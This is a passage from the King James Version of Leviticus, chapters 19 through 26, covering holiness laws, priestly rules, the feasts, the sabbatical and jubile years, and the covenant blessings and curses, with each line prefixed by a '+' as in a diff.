shalt thou gather +every grape of thy vineyard; thou shalt leave them for the poor and +stranger: I am the LORD your God. + +19:11 Ye shall not steal, neither deal falsely, neither lie one to +another. + +19:12 And ye shall not swear by my name falsely, neither shalt thou +profane the name of thy God: I am the LORD. + +19:13 Thou shalt not defraud thy neighbour, neither rob him: the wages +of him that is hired shall not abide with thee all night until the +morning. + +19:14 Thou shalt not curse the deaf, nor put a stumblingblock before +the blind, but shalt fear thy God: I am the LORD. + +19:15 Ye shall do no unrighteousness in judgment: thou shalt not +respect the person of the poor, nor honor the person of the mighty: +but in righteousness shalt thou judge thy neighbour. + +19:16 Thou shalt not go up and down as a talebearer among thy people: +neither shalt thou stand against the blood of thy neighbour; I am the +LORD. + +19:17 Thou shalt not hate thy brother in thine heart: thou shalt in +any wise rebuke thy neighbour, and not suffer sin upon him. + +19:18 Thou shalt not avenge, nor bear any grudge against the children +of thy people, but thou shalt love thy neighbour as thyself: I am the +LORD. + +19:19 Ye shall keep my statutes. Thou shalt not let thy cattle gender +with a diverse kind: thou shalt not sow thy field with mingled seed: +neither shall a garment mingled of linen and woollen come upon thee. + +19:20 And whosoever lieth carnally with a woman, that is a bondmaid, +betrothed to an husband, and not at all redeemed, nor freedom given +her; she shall be scourged; they shall not be put to death, because +she was not free. + +19:21 And he shall bring his trespass offering unto the LORD, unto the +door of the tabernacle of the congregation, even a ram for a trespass +offering. + +19:22 And the priest shall make an atonement for him with the ram of +the trespass offering before the LORD for his sin which he hath done: +and the sin which he hath done shall be forgiven him. + +19:23 And when ye shall come into the land, and shall have planted all +manner of trees for food, then ye shall count the fruit thereof as +uncircumcised: three years shall it be as uncircumcised unto you: it +shall not be eaten of. + +19:24 But in the fourth year all the fruit thereof shall be holy to +praise the LORD withal. + +19:25 And in the fifth year shall ye eat of the fruit thereof, that it +may yield unto you the increase thereof: I am the LORD your God. + +19:26 Ye shall not eat any thing with the blood: neither shall ye use +enchantment, nor observe times. + +19:27 Ye shall not round the corners of your heads, neither shalt thou +mar the corners of thy beard. + +19:28 Ye shall not make any cuttings in your flesh for the dead, nor +print any marks upon you: I am the LORD. + +19:29 Do not prostitute thy daughter, to cause her to be a whore; lest +the land fall to whoredom, and the land become full of wickedness. + +19:30 Ye shall keep my sabbaths, and reverence my sanctuary: I am the +LORD. + +19:31 Regard not them that have familiar spirits, neither seek after +wizards, to be defiled by them: I am the LORD your God. + +19:32 Thou shalt rise up before the hoary head, and honour the face of +the old man, and fear thy God: I am the LORD. + +19:33 And if a stranger sojourn with thee in your land, ye shall not +vex him. + +19:34 But the stranger that dwelleth with you shall be unto you as one +born among you, and thou shalt love him as thyself; for ye were +strangers in the land of Egypt: I am the LORD your God. + +19:35 Ye shall do no unrighteousness in judgment, in meteyard, in +weight, or in measure. + +19:36 Just balances, just weights, a just ephah, and a just hin, shall +ye have: I am the LORD your God, which brought you out of the land of +Egypt. + +19:37 Therefore shall ye observe all my statutes, and all my +judgments, and do them: I am the LORD. + +20:1 And the LORD spake unto Moses, saying, 20:2 Again, thou shalt say +to the children of Israel, Whosoever he be of the children of Israel, +or of the strangers that sojourn in Israel, that giveth any of his +seed unto Molech; he shall surely be put to death: the people of the +land shall stone him with stones. + +20:3 And I will set my face against that man, and will cut him off +from among his people; because he hath given of his seed unto Molech, +to defile my sanctuary, and to profane my holy name. + +20:4 And if the people of the land do any ways hide their eyes from +the man, when he giveth of his seed unto Molech, and kill him not: +20:5 Then I will set my face against that man, and against his family, +and will cut him off, and all that go a whoring after him, to commit +whoredom with Molech, from among their people. + +20:6 And the soul that turneth after such as have familiar spirits, +and after wizards, to go a whoring after them, I will even set my face +against that soul, and will cut him off from among his people. + +20:7 Sanctify yourselves therefore, and be ye holy: for I am the LORD +your God. + +20:8 And ye shall keep my statutes, and do them: I am the LORD which +sanctify you. + +20:9 For every one that curseth his father or his mother shall be +surely put to death: he hath cursed his father or his mother; his +blood shall be upon him. + +20:10 And the man that committeth adultery with another man's wife, +even he that committeth adultery with his neighbour's wife, the +adulterer and the adulteress shall surely be put to death. + +20:11 And the man that lieth with his father's wife hath uncovered his +father's nakedness: both of them shall surely be put to death; their +blood shall be upon them. + +20:12 And if a man lie with his daughter in law, both of them shall +surely be put to death: they have wrought confusion; their blood shall +be upon them. + +20:13 If a man also lie with mankind, as he lieth with a woman, both +of them have committed an abomination: they shall surely be put to +death; their blood shall be upon them. + +20:14 And if a man take a wife and her mother, it is wickedness: they +shall be burnt with fire, both he and they; that there be no +wickedness among you. + +20:15 And if a man lie with a beast, he shall surely be put to death: +and ye shall slay the beast. + +20:16 And if a woman approach unto any beast, and lie down thereto, +thou shalt kill the woman, and the beast: they shall surely be put to +death; their blood shall be upon them. + +20:17 And if a man shall take his sister, his father's daughter, or +his mother's daughter, and see her nakedness, and she see his +nakedness; it is a wicked thing; and they shall be cut off in the +sight of their people: he hath uncovered his sister's nakedness; he +shall bear his iniquity. + +20:18 And if a man shall lie with a woman having her sickness, and +shall uncover her nakedness; he hath discovered her fountain, and she +hath uncovered the fountain of her blood: and both of them shall be +cut off from among their people. + +20:19 And thou shalt not uncover the nakedness of thy mother's sister, +nor of thy father's sister: for he uncovereth his near kin: they shall +bear their iniquity. + +20:20 And if a man shall lie with his uncle's wife, he hath uncovered +his uncle's nakedness: they shall bear their sin; they shall die +childless. + +20:21 And if a man shall take his brother's wife, it is an unclean +thing: he hath uncovered his brother's nakedness; they shall be +childless. + +20:22 Ye shall therefore keep all my statutes, and all my judgments, +and do them: that the land, whither I bring you to dwell therein, spue +you not out. + +20:23 And ye shall not walk in the manners of the nation, which I cast +out before you: for they committed all these things, and therefore I +abhorred them. + +20:24 But I have said unto you, Ye shall inherit their land, and I +will give it unto you to possess it, a land that floweth with milk and +honey: I am the LORD your God, which have separated you from other +people. + +20:25 Ye shall therefore put difference between clean beasts and +unclean, and between unclean fowls and clean: and ye shall not make +your souls abominable by beast, or by fowl, or by any manner of living +thing that creepeth on the ground, which I have separated from you as +unclean. + +20:26 And ye shall be holy unto me: for I the LORD am holy, and have +severed you from other people, that ye should be mine. + +20:27 A man also or woman that hath a familiar spirit, or that is a +wizard, shall surely be put to death: they shall stone them with +stones: their blood shall be upon them. + +21:1 And the LORD said unto Moses, Speak unto the priests the sons of +Aaron, and say unto them, There shall none be defiled for the dead +among his people: 21:2 But for his kin, that is near unto him, that +is, for his mother, and for his father, and for his son, and for his +daughter, and for his brother. + +21:3 And for his sister a virgin, that is nigh unto him, which hath +had no husband; for her may he be defiled. + +21:4 But he shall not defile himself, being a chief man among his +people, to profane himself. + +21:5 They shall not make baldness upon their head, neither shall they +shave off the corner of their beard, nor make any cuttings in their +flesh. + +21:6 They shall be holy unto their God, and not profane the name of +their God: for the offerings of the LORD made by fire, and the bread +of their God, they do offer: therefore they shall be holy. + +21:7 They shall not take a wife that is a whore, or profane; neither +shall they take a woman put away from her husband: for he is holy unto +his God. + +21:8 Thou shalt sanctify him therefore; for he offereth the bread of +thy God: he shall be holy unto thee: for I the LORD, which sanctify +you, am holy. + +21:9 And the daughter of any priest, if she profane herself by playing +the whore, she profaneth her father: she shall be burnt with fire. + +21:10 And he that is the high priest among his brethren, upon whose +head the anointing oil was poured, and that is consecrated to put on +the garments, shall not uncover his head, nor rend his clothes; 21:11 +Neither shall he go in to any dead body, nor defile himself for his +father, or for his mother; 21:12 Neither shall he go out of the +sanctuary, nor profane the sanctuary of his God; for the crown of the +anointing oil of his God is upon him: I am the LORD. + +21:13 And he shall take a wife in her virginity. + +21:14 A widow, or a divorced woman, or profane, or an harlot, these +shall he not take: but he shall take a virgin of his own people to +wife. + +21:15 Neither shall he profane his seed among his people: for I the +LORD do sanctify him. + +21:16 And the LORD spake unto Moses, saying, 21:17 Speak unto Aaron, +saying, Whosoever he be of thy seed in their generations that hath any +blemish, let him not approach to offer the bread of his God. + +21:18 For whatsoever man he be that hath a blemish, he shall not +approach: a blind man, or a lame, or he that hath a flat nose, or any +thing superfluous, 21:19 Or a man that is brokenfooted, or +brokenhanded, 21:20 Or crookbackt, or a dwarf, or that hath a blemish +in his eye, or be scurvy, or scabbed, or hath his stones broken; 21:21 +No man that hath a blemish of the seed of Aaron the priest shall come +nigh to offer the offerings of the LORD made by fire: he hath a +blemish; he shall not come nigh to offer the bread of his God. + +21:22 He shall eat the bread of his God, both of the most holy, and of +the holy. + +21:23 Only he shall not go in unto the vail, nor come nigh unto the +altar, because he hath a blemish; that he profane not my sanctuaries: +for I the LORD do sanctify them. + +21:24 And Moses told it unto Aaron, and to his sons, and unto all the +children of Israel. + +22:1 And the LORD spake unto Moses, saying, 22:2 Speak unto Aaron and +to his sons, that they separate themselves from the holy things of the +children of Israel, and that they profane not my holy name in those +things which they hallow unto me: I am the LORD. + +22:3 Say unto them, Whosoever he be of all your seed among your +generations, that goeth unto the holy things, which the children of +Israel hallow unto the LORD, having his uncleanness upon him, that +soul shall be cut off from my presence: I am the LORD. + +22:4 What man soever of the seed of Aaron is a leper, or hath a +running issue; he shall not eat of the holy things, until he be clean. +And whoso toucheth any thing that is unclean by the dead, or a man +whose seed goeth from him; 22:5 Or whosoever toucheth any creeping +thing, whereby he may be made unclean, or a man of whom he may take +uncleanness, whatsoever uncleanness he hath; 22:6 The soul which hath +touched any such shall be unclean until even, and shall not eat of the +holy things, unless he wash his flesh with water. + +22:7 And when the sun is down, he shall be clean, and shall afterward +eat of the holy things; because it is his food. + +22:8 That which dieth of itself, or is torn with beasts, he shall not +eat to defile himself therewith; I am the LORD. + +22:9 They shall therefore keep mine ordinance, lest they bear sin for +it, and die therefore, if they profane it: I the LORD do sanctify +them. + +22:10 There shall no stranger eat of the holy thing: a sojourner of +the priest, or an hired servant, shall not eat of the holy thing. + +22:11 But if the priest buy any soul with his money, he shall eat of +it, and he that is born in his house: they shall eat of his meat. + +22:12 If the priest's daughter also be married unto a stranger, she +may not eat of an offering of the holy things. + +22:13 But if the priest's daughter be a widow, or divorced, and have +no child, and is returned unto her father's house, as in her youth, +she shall eat of her father's meat: but there shall be no stranger eat +thereof. + +22:14 And if a man eat of the holy thing unwittingly, then he shall +put the fifth part thereof unto it, and shall give it unto the priest +with the holy thing. + +22:15 And they shall not profane the holy things of the children of +Israel, which they offer unto the LORD; 22:16 Or suffer them to bear +the iniquity of trespass, when they eat their holy things: for I the +LORD do sanctify them. + +22:17 And the LORD spake unto Moses, saying, 22:18 Speak unto Aaron, +and to his sons, and unto all the children of Israel, and say unto +them, Whatsoever he be of the house of Israel, or of the strangers in +Israel, that will offer his oblation for all his vows, and for all his +freewill offerings, which they will offer unto the LORD for a burnt +offering; 22:19 Ye shall offer at your own will a male without +blemish, of the beeves, of the sheep, or of the goats. + +22:20 But whatsoever hath a blemish, that shall ye not offer: for it +shall not be acceptable for you. + +22:21 And whosoever offereth a sacrifice of peace offerings unto the +LORD to accomplish his vow, or a freewill offering in beeves or sheep, +it shall be perfect to be accepted; there shall be no blemish therein. + +22:22 Blind, or broken, or maimed, or having a wen, or scurvy, or +scabbed, ye shall not offer these unto the LORD, nor make an offering +by fire of them upon the altar unto the LORD. + +22:23 Either a bullock or a lamb that hath any thing superfluous or +lacking in his parts, that mayest thou offer for a freewill offering; +but for a vow it shall not be accepted. + +22:24 Ye shall not offer unto the LORD that which is bruised, or +crushed, or broken, or cut; neither shall ye make any offering thereof +in your land. + +22:25 Neither from a stranger's hand shall ye offer the bread of your +God of any of these; because their corruption is in them, and +blemishes be in them: they shall not be accepted for you. + +22:26 And the LORD spake unto Moses, saying, 22:27 When a bullock, or +a sheep, or a goat, is brought forth, then it shall be seven days +under the dam; and from the eighth day and thenceforth it shall be +accepted for an offering made by fire unto the LORD. + +22:28 And whether it be cow, or ewe, ye shall not kill it and her +young both in one day. + +22:29 And when ye will offer a sacrifice of thanksgiving unto the +LORD, offer it at your own will. + +22:30 On the same day it shall be eaten up; ye shall leave none of it +until the morrow: I am the LORD. + +22:31 Therefore shall ye keep my commandments, and do them: I am the +LORD. + +22:32 Neither shall ye profane my holy name; but I will be hallowed +among the children of Israel: I am the LORD which hallow you, 22:33 +That brought you out of the land of Egypt, to be your God: I am the +LORD. + +23:1 And the LORD spake unto Moses, saying, 23:2 Speak unto the +children of Israel, and say unto them, Concerning the feasts of the +LORD, which ye shall proclaim to be holy convocations, even these are +my feasts. + +23:3 Six days shall work be done: but the seventh day is the sabbath +of rest, an holy convocation; ye shall do no work therein: it is the +sabbath of the LORD in all your dwellings. + +23:4 These are the feasts of the LORD, even holy convocations, which +ye shall proclaim in their seasons. + +23:5 In the fourteenth day of the first month at even is the LORD's +passover. + +23:6 And on the fifteenth day of the same month is the feast of +unleavened bread unto the LORD: seven days ye must eat unleavened +bread. + +23:7 In the first day ye shall have an holy convocation: ye shall do +no servile work therein. + +23:8 But ye shall offer an offering made by fire unto the LORD seven +days: in the seventh day is an holy convocation: ye shall do no +servile work therein. + +23:9 And the LORD spake unto Moses, saying, 23:10 Speak unto the +children of Israel, and say unto them, When ye be come into the land +which I give unto you, and shall reap the harvest thereof, then ye +shall bring a sheaf of the firstfruits of your harvest unto the +priest: 23:11 And he shall wave the sheaf before the LORD, to be +accepted for you: on the morrow after the sabbath the priest shall +wave it. + +23:12 And ye shall offer that day when ye wave the sheaf an he lamb +without blemish of the first year for a burnt offering unto the LORD. + +23:13 And the meat offering thereof shall be two tenth deals of fine +flour mingled with oil, an offering made by fire unto the LORD for a +sweet savour: and the drink offering thereof shall be of wine, the +fourth part of an hin. + +23:14 And ye shall eat neither bread, nor parched corn, nor green +ears, until the selfsame day that ye have brought an offering unto +your God: it shall be a statute for ever throughout your generations +in all your dwellings. + +23:15 And ye shall count unto you from the morrow after the sabbath, +from the day that ye brought the sheaf of the wave offering; seven +sabbaths shall be complete: 23:16 Even unto the morrow after the +seventh sabbath shall ye number fifty days; and ye shall offer a new +meat offering unto the LORD. + +23:17 Ye shall bring out of your habitations two wave loaves of two +tenth deals; they shall be of fine flour; they shall be baken with +leaven; they are the firstfruits unto the LORD. + +23:18 And ye shall offer with the bread seven lambs without blemish of +the first year, and one young bullock, and two rams: they shall be for +a burnt offering unto the LORD, with their meat offering, and their +drink offerings, even an offering made by fire, of sweet savour unto +the LORD. + +23:19 Then ye shall sacrifice one kid of the goats for a sin offering, +and two lambs of the first year for a sacrifice of peace offerings. + +23:20 And the priest shall wave them with the bread of the firstfruits +for a wave offering before the LORD, with the two lambs: they shall be +holy to the LORD for the priest. + +23:21 And ye shall proclaim on the selfsame day, that it may be an +holy convocation unto you: ye shall do no servile work therein: it +shall be a statute for ever in all your dwellings throughout your +generations. + +23:22 And when ye reap the harvest of your land, thou shalt not make +clean riddance of the corners of thy field when thou reapest, neither +shalt thou gather any gleaning of thy harvest: thou shalt leave them +unto the poor, and to the stranger: I am the LORD your God. + +23:23 And the LORD spake unto Moses, saying, 23:24 Speak unto the +children of Israel, saying, In the seventh month, in the first day of +the month, shall ye have a sabbath, a memorial of blowing of trumpets, +an holy convocation. + +23:25 Ye shall do no servile work therein: but ye shall offer an +offering made by fire unto the LORD. + +23:26 And the LORD spake unto Moses, saying, 23:27 Also on the tenth +day of this seventh month there shall be a day of atonement: it shall +be an holy convocation unto you; and ye shall afflict your souls, and +offer an offering made by fire unto the LORD. + +23:28 And ye shall do no work in that same day: for it is a day of +atonement, to make an atonement for you before the LORD your God. + +23:29 For whatsoever soul it be that shall not be afflicted in that +same day, he shall be cut off from among his people. + +23:30 And whatsoever soul it be that doeth any work in that same day, +the same soul will I destroy from among his people. + +23:31 Ye shall do no manner of work: it shall be a statute for ever +throughout your generations in all your dwellings. + +23:32 It shall be unto you a sabbath of rest, and ye shall afflict +your souls: in the ninth day of the month at even, from even unto +even, shall ye celebrate your sabbath. + +23:33 And the LORD spake unto Moses, saying, 23:34 Speak unto the +children of Israel, saying, The fifteenth day of this seventh month +shall be the feast of tabernacles for seven days unto the LORD. + +23:35 On the first day shall be an holy convocation: ye shall do no +servile work therein. + +23:36 Seven days ye shall offer an offering made by fire unto the +LORD: on the eighth day shall be an holy convocation unto you; and ye +shall offer an offering made by fire unto the LORD: it is a solemn +assembly; and ye shall do no servile work therein. + +23:37 These are the feasts of the LORD, which ye shall proclaim to be +holy convocations, to offer an offering made by fire unto the LORD, a +burnt offering, and a meat offering, a sacrifice, and drink offerings, +every thing upon his day: 23:38 Beside the sabbaths of the LORD, and +beside your gifts, and beside all your vows, and beside all your +freewill offerings, which ye give unto the LORD. + +23:39 Also in the fifteenth day of the seventh month, when ye have +gathered in the fruit of the land, ye shall keep a feast unto the LORD +seven days: on the first day shall be a sabbath, and on the eighth day +shall be a sabbath. + +23:40 And ye shall take you on the first day the boughs of goodly +trees, branches of palm trees, and the boughs of thick trees, and +willows of the brook; and ye shall rejoice before the LORD your God +seven days. + +23:41 And ye shall keep it a feast unto the LORD seven days in the +year. + +It shall be a statute for ever in your generations: ye shall celebrate +it in the seventh month. + +23:42 Ye shall dwell in booths seven days; all that are Israelites +born shall dwell in booths: 23:43 That your generations may know that +I made the children of Israel to dwell in booths, when I brought them +out of the land of Egypt: I am the LORD your God. + +23:44 And Moses declared unto the children of Israel the feasts of the +LORD. + +24:1 And the LORD spake unto Moses, saying, 24:2 Command the children +of Israel, that they bring unto thee pure oil olive beaten for the +light, to cause the lamps to burn continually. + +24:3 Without the vail of the testimony, in the tabernacle of the +congregation, shall Aaron order it from the evening unto the morning +before the LORD continually: it shall be a statute for ever in your +generations. + +24:4 He shall order the lamps upon the pure candlestick before the +LORD continually. + +24:5 And thou shalt take fine flour, and bake twelve cakes thereof: +two tenth deals shall be in one cake. + +24:6 And thou shalt set them in two rows, six on a row, upon the pure +table before the LORD. + +24:7 And thou shalt put pure frankincense upon each row, that it may +be on the bread for a memorial, even an offering made by fire unto the +LORD. + +24:8 Every sabbath he shall set it in order before the LORD +continually, being taken from the children of Israel by an everlasting +covenant. + +24:9 And it shall be Aaron's and his sons'; and they shall eat it in +the holy place: for it is most holy unto him of the offerings of the +LORD made by fire by a perpetual statute. + +24:10 And the son of an Israelitish woman, whose father was an +Egyptian, went out among the children of Israel: and this son of the +Israelitish woman and a man of Israel strove together in the camp; +24:11 And the Israelitish woman's son blasphemed the name of the Lord, +and cursed. And they brought him unto Moses: (and his mother's name +was Shelomith, the daughter of Dibri, of the tribe of Dan:) 24:12 And +they put him in ward, that the mind of the LORD might be shewed them. + +24:13 And the LORD spake unto Moses, saying, 24:14 Bring forth him +that hath cursed without the camp; and let all that heard him lay +their hands upon his head, and let all the congregation stone him. + +24:15 And thou shalt speak unto the children of Israel, saying, +Whosoever curseth his God shall bear his sin. + +24:16 And he that blasphemeth the name of the LORD, he shall surely be +put to death, and all the congregation shall certainly stone him: as +well the stranger, as he that is born in the land, when he blasphemeth +the name of the Lord, shall be put to death. + +24:17 And he that killeth any man shall surely be put to death. + +24:18 And he that killeth a beast shall make it good; beast for beast. + +24:19 And if a man cause a blemish in his neighbour; as he hath done, +so shall it be done to him; 24:20 Breach for breach, eye for eye, +tooth for tooth: as he hath caused a blemish in a man, so shall it be +done to him again. + +24:21 And he that killeth a beast, he shall restore it: and he that +killeth a man, he shall be put to death. + +24:22 Ye shall have one manner of law, as well for the stranger, as +for one of your own country: for I am the LORD your God. + +24:23 And Moses spake to the children of Israel, that they should +bring forth him that had cursed out of the camp, and stone him with +stones. And the children of Israel did as the LORD commanded Moses. + +25:1 And the LORD spake unto Moses in mount Sinai, saying, 25:2 Speak +unto the children of Israel, and say unto them, When ye come into the +land which I give you, then shall the land keep a sabbath unto the +LORD. + +25:3 Six years thou shalt sow thy field, and six years thou shalt +prune thy vineyard, and gather in the fruit thereof; 25:4 But in the +seventh year shall be a sabbath of rest unto the land, a sabbath for +the LORD: thou shalt neither sow thy field, nor prune thy vineyard. + +25:5 That which groweth of its own accord of thy harvest thou shalt +not reap, neither gather the grapes of thy vine undressed: for it is a +year of rest unto the land. + +25:6 And the sabbath of the land shall be meat for you; for thee, and +for thy servant, and for thy maid, and for thy hired servant, and for +thy stranger that sojourneth with thee. + +25:7 And for thy cattle, and for the beast that are in thy land, shall +all the increase thereof be meat. + +25:8 And thou shalt number seven sabbaths of years unto thee, seven +times seven years; and the space of the seven sabbaths of years shall +be unto thee forty and nine years. + +25:9 Then shalt thou cause the trumpet of the jubile to sound on the +tenth day of the seventh month, in the day of atonement shall ye make +the trumpet sound throughout all your land. + +25:10 And ye shall hallow the fiftieth year, and proclaim liberty +throughout all the land unto all the inhabitants thereof: it shall be +a jubile unto you; and ye shall return every man unto his possession, +and ye shall return every man unto his family. + +25:11 A jubile shall that fiftieth year be unto you: ye shall not sow, +neither reap that which groweth of itself in it, nor gather the grapes +in it of thy vine undressed. + +25:12 For it is the jubile; it shall be holy unto you: ye shall eat +the increase thereof out of the field. + +25:13 In the year of this jubile ye shall return every man unto his +possession. + +25:14 And if thou sell ought unto thy neighbour, or buyest ought of +thy neighbour's hand, ye shall not oppress one another: 25:15 +According to the number of years after the jubile thou shalt buy of +thy neighbour, and according unto the number of years of the fruits he +shall sell unto thee: 25:16 According to the multitude of years thou +shalt increase the price thereof, and according to the fewness of +years thou shalt diminish the price of it: for according to the number +of the years of the fruits doth he sell unto thee. + +25:17 Ye shall not therefore oppress one another; but thou shalt fear +thy God:for I am the LORD your God. + +25:18 Wherefore ye shall do my statutes, and keep my judgments, and do +them; and ye shall dwell in the land in safety. + +25:19 And the land shall yield her fruit, and ye shall eat your fill, +and dwell therein in safety. + +25:20 And if ye shall say, What shall we eat the seventh year? behold, +we shall not sow, nor gather in our increase: 25:21 Then I will +command my blessing upon you in the sixth year, and it shall bring +forth fruit for three years. + +25:22 And ye shall sow the eighth year, and eat yet of old fruit until +the ninth year; until her fruits come in ye shall eat of the old +store. + +25:23 The land shall not be sold for ever: for the land is mine, for +ye are strangers and sojourners with me. + +25:24 And in all the land of your possession ye shall grant a +redemption for the land. + +25:25 If thy brother be waxen poor, and hath sold away some of his +possession, and if any of his kin come to redeem it, then shall he +redeem that which his brother sold. + +25:26 And if the man have none to redeem it, and himself be able to +redeem it; 25:27 Then let him count the years of the sale thereof, and +restore the overplus unto the man to whom he sold it; that he may +return unto his possession. + +25:28 But if he be not able to restore it to him, then that which is +sold shall remain in the hand of him that hath bought it until the +year of jubile: and in the jubile it shall go out, and he shall return +unto his possession. + +25:29 And if a man sell a dwelling house in a walled city, then he may +redeem it within a whole year after it is sold; within a full year may +he redeem it. + +25:30 And if it be not redeemed within the space of a full year, then +the house that is in the walled city shall be established for ever to +him that bought it throughout his generations: it shall not go out in +the jubile. + +25:31 But the houses of the villages which have no wall round about +them shall be counted as the fields of the country: they may be +redeemed, and they shall go out in the jubile. + +25:32 Notwithstanding the cities of the Levites, and the houses of the +cities of their possession, may the Levites redeem at any time. + +25:33 And if a man purchase of the Levites, then the house that was +sold, and the city of his possession, shall go out in the year of +jubile: for the houses of the cities of the Levites are their +possession among the children of Israel. + +25:34 But the field of the suburbs of their cities may not be sold; +for it is their perpetual possession. + +25:35 And if thy brother be waxen poor, and fallen in decay with thee; +then thou shalt relieve him: yea, though he be a stranger, or a +sojourner; that he may live with thee. + +25:36 Take thou no usury of him, or increase: but fear thy God; that +thy brother may live with thee. + +25:37 Thou shalt not give him thy money upon usury, nor lend him thy +victuals for increase. + +25:38 I am the LORD your God, which brought you forth out of the land +of Egypt, to give you the land of Canaan, and to be your God. + +25:39 And if thy brother that dwelleth by thee be waxen poor, and be +sold unto thee; thou shalt not compel him to serve as a bondservant: +25:40 But as an hired servant, and as a sojourner, he shall be with +thee, and shall serve thee unto the year of jubile. + +25:41 And then shall he depart from thee, both he and his children +with him, and shall return unto his own family, and unto the +possession of his fathers shall he return. + +25:42 For they are my servants, which I brought forth out of the land +of Egypt: they shall not be sold as bondmen. + +25:43 Thou shalt not rule over him with rigour; but shalt fear thy +God. + +25:44 Both thy bondmen, and thy bondmaids, which thou shalt have, +shall be of the heathen that are round about you; of them shall ye buy +bondmen and bondmaids. + +25:45 Moreover of the children of the strangers that do sojourn among +you, of them shall ye buy, and of their families that are with you, +which they begat in your land: and they shall be your possession. + +25:46 And ye shall take them as an inheritance for your children after +you, to inherit them for a possession; they shall be your bondmen for +ever: but over your brethren the children of Israel, ye shall not rule +one over another with rigour. + +25:47 And if a sojourner or stranger wax rich by thee, and thy brother +that dwelleth by him wax poor, and sell himself unto the stranger or +sojourner by thee, or to the stock of the stranger's family: 25:48 +After that he is sold he may be redeemed again; one of his brethren +may redeem him: 25:49 Either his uncle, or his uncle's son, may redeem +him, or any that is nigh of kin unto him of his family may redeem him; +or if he be able, he may redeem himself. + +25:50 And he shall reckon with him that bought him from the year that +he was sold to him unto the year of jubile: and the price of his sale +shall be according unto the number of years, according to the time of +an hired servant shall it be with him. + +25:51 If there be yet many years behind, according unto them he shall +give again the price of his redemption out of the money that he was +bought for. + +25:52 And if there remain but few years unto the year of jubile, then +he shall count with him, and according unto his years shall he give +him again the price of his redemption. + +25:53 And as a yearly hired servant shall he be with him: and the +other shall not rule with rigour over him in thy sight. + +25:54 And if he be not redeemed in these years, then he shall go out +in the year of jubile, both he, and his children with him. + +25:55 For unto me the children of Israel are servants; they are my +servants whom I brought forth out of the land of Egypt: I am the LORD +your God. + +26:1 Ye shall make you no idols nor graven image, neither rear you up +a standing image, neither shall ye set up any image of stone in your +land, to bow down unto it: for I am the LORD your God. + +26:2 Ye shall keep my sabbaths, and reverence my sanctuary: I am the +LORD. + +26:3 If ye walk in my statutes, and keep my commandments, and do them; +26:4 Then I will give you rain in due season, and the land shall yield +her increase, and the trees of the field shall yield their fruit. + +26:5 And your threshing shall reach unto the vintage, and the vintage +shall reach unto the sowing time: and ye shall eat your bread to the +full, and dwell in your land safely. + +26:6 And I will give peace in the land, and ye shall lie down, and +none shall make you afraid: and I will rid evil beasts out of the +land, neither shall the sword go through your land. + +26:7 And ye shall chase your enemies, and they shall fall before you +by the sword. + +26:8 And five of you shall chase an hundred, and an hundred of you +shall put ten thousand to flight: and your enemies shall fall before +you by the sword. + +26:9 For I will have respect unto you, and make you fruitful, and +multiply you, and establish my covenant with you. + +26:10 And ye shall eat old store, and bring forth the old because of +the new. + +26:11 And I set my tabernacle among you: and my soul shall not abhor +you. + +26:12 And I will walk among you, and will be your God, and ye shall be +my people. + +26:13 I am the LORD your God, which brought you forth out of the land +of Egypt, that ye should not be their bondmen; and I have broken the +bands of your yoke, and made you go upright. + +26:14 But if ye will not hearken unto me, and will not do all these +commandments; 26:15 And if ye shall despise my statutes, or if your +soul abhor my judgments, so that ye will not do all my commandments, +but that ye break my covenant: 26:16 I also will do this unto you; I +will even appoint over you terror, consumption, and the burning ague, +that shall consume the eyes, and cause sorrow of heart: and ye shall +sow your seed in vain, for your enemies shall eat it. + +26:17 And I will set my face against you, and ye shall be slain before +your enemies: they that hate you shall reign over you; and ye shall +flee when none pursueth you. + +26:18 And if ye will not yet for all this hearken unto me, then I will +punish you seven times more for your sins. + +26:19 And I will break the pride of your power; and I will make your +heaven as iron, and your earth as brass: 26:20 And your strength shall +be spent in vain: for your land shall not yield her increase, neither +shall the trees of the land yield their fruits. + +26:21 And if ye walk contrary unto me, and will not hearken unto me; I +will bring seven times more plagues upon you according to your sins. + +26:22 I will also send wild beasts among you, which shall rob you of +your children, and destroy your cattle, and make you few in number; +and your high ways shall be desolate. + +26:23 And if ye will not be reformed by me by these things, but will +walk contrary unto me; 26:24 Then will I also walk contrary unto you, +and will punish you yet seven times for your sins. + +26:25 And I will bring a sword upon you, that shall avenge the quarrel +of my covenant: and when ye are gathered together within your cities, +I will send the pestilence among you; and ye shall be delivered into +the hand of the enemy. + +26:26 And when I have broken the staff of your bread, ten women shall +bake your bread in one oven, and they shall deliver you your bread +again by weight: and ye shall eat, and not be satisfied. + +26:27 And if ye will not for all this hearken unto me, but walk +contrary unto me; 26:28 Then I will walk contrary unto you also in +fury; and I, even I, will chastise you seven times for your sins. + +26:29 And ye shall eat the flesh of your sons, and the flesh of your +daughters shall ye eat. + +26:30 And I will destroy your high places, and cut down your images, +and cast your carcases upon the carcases of your idols, and my soul +shall abhor you. + +26:31 And I will make your cities waste, and bring your sanctuaries +unto desolation, and I will not smell the savour of your sweet odours. + +26:32 And I will bring the land into desolation: and your enemies +which dwell therein shall be astonished at it. + +26:33 And I will scatter you among the heathen, and will draw out a +sword after you: and your land shall be desolate, and your cities +waste. + +26:34 Then shall the land enjoy her sabbaths, as long as it lieth +desolate, and ye be in your enemies' land; even then shall the land +rest, and enjoy her sabbaths. + +26:35 As long as it lieth desolate it shall rest; because it did not +rest in your sabbaths, when ye dwelt upon it. + +26:36 And upon them that are left alive of you I will send a faintness +into their hearts in the lands of their enemies; and the sound of a +shaken leaf shall chase them; and they shall flee, as fleeing from a +sword; and they shall fall when none pursueth. + +26:37 And they shall fall one upon another, as it were before a sword, +when none pursueth: and ye shall have no power to stand before your +enemies. + +26:38 And ye shall perish among the heathen, and the land of your +enemies shall eat you up. + +26:39 And they that are left of you shall pine away in their iniquity +in your enemies' lands; and also in the iniquities of their fathers +shall they pine away with them. + +26:40 If they shall confess their iniquity, and the iniquity of their +fathers, with their trespass which they trespassed against me, and +that also they have walked contrary unto me; 26:41 And that I also +have walked contrary unto them, and have brought them into the land of +their enemies; if then their uncircumcised hearts be humbled, and they +then accept of the punishment of their iniquity: 26:42 Then will I +remember my covenant with Jacob, and also my covenant with Isaac, and +also my covenant with Abraham will I remember; and I will remember the +land. + +26:43 The land also shall be left of them, and shall enjoy her +sabbaths, while she lieth desolate without them: and they shall accept +of the punishment of their iniquity: because, even because they +despised my judgments, and because their soul abhorred my statutes. + +26:44 And yet for all that, when they be in the land of their enemies, +I will not cast them away, neither will I abhor them, to destroy them +utterly, and to break my covenant with them: for I am the LORD their +God. + 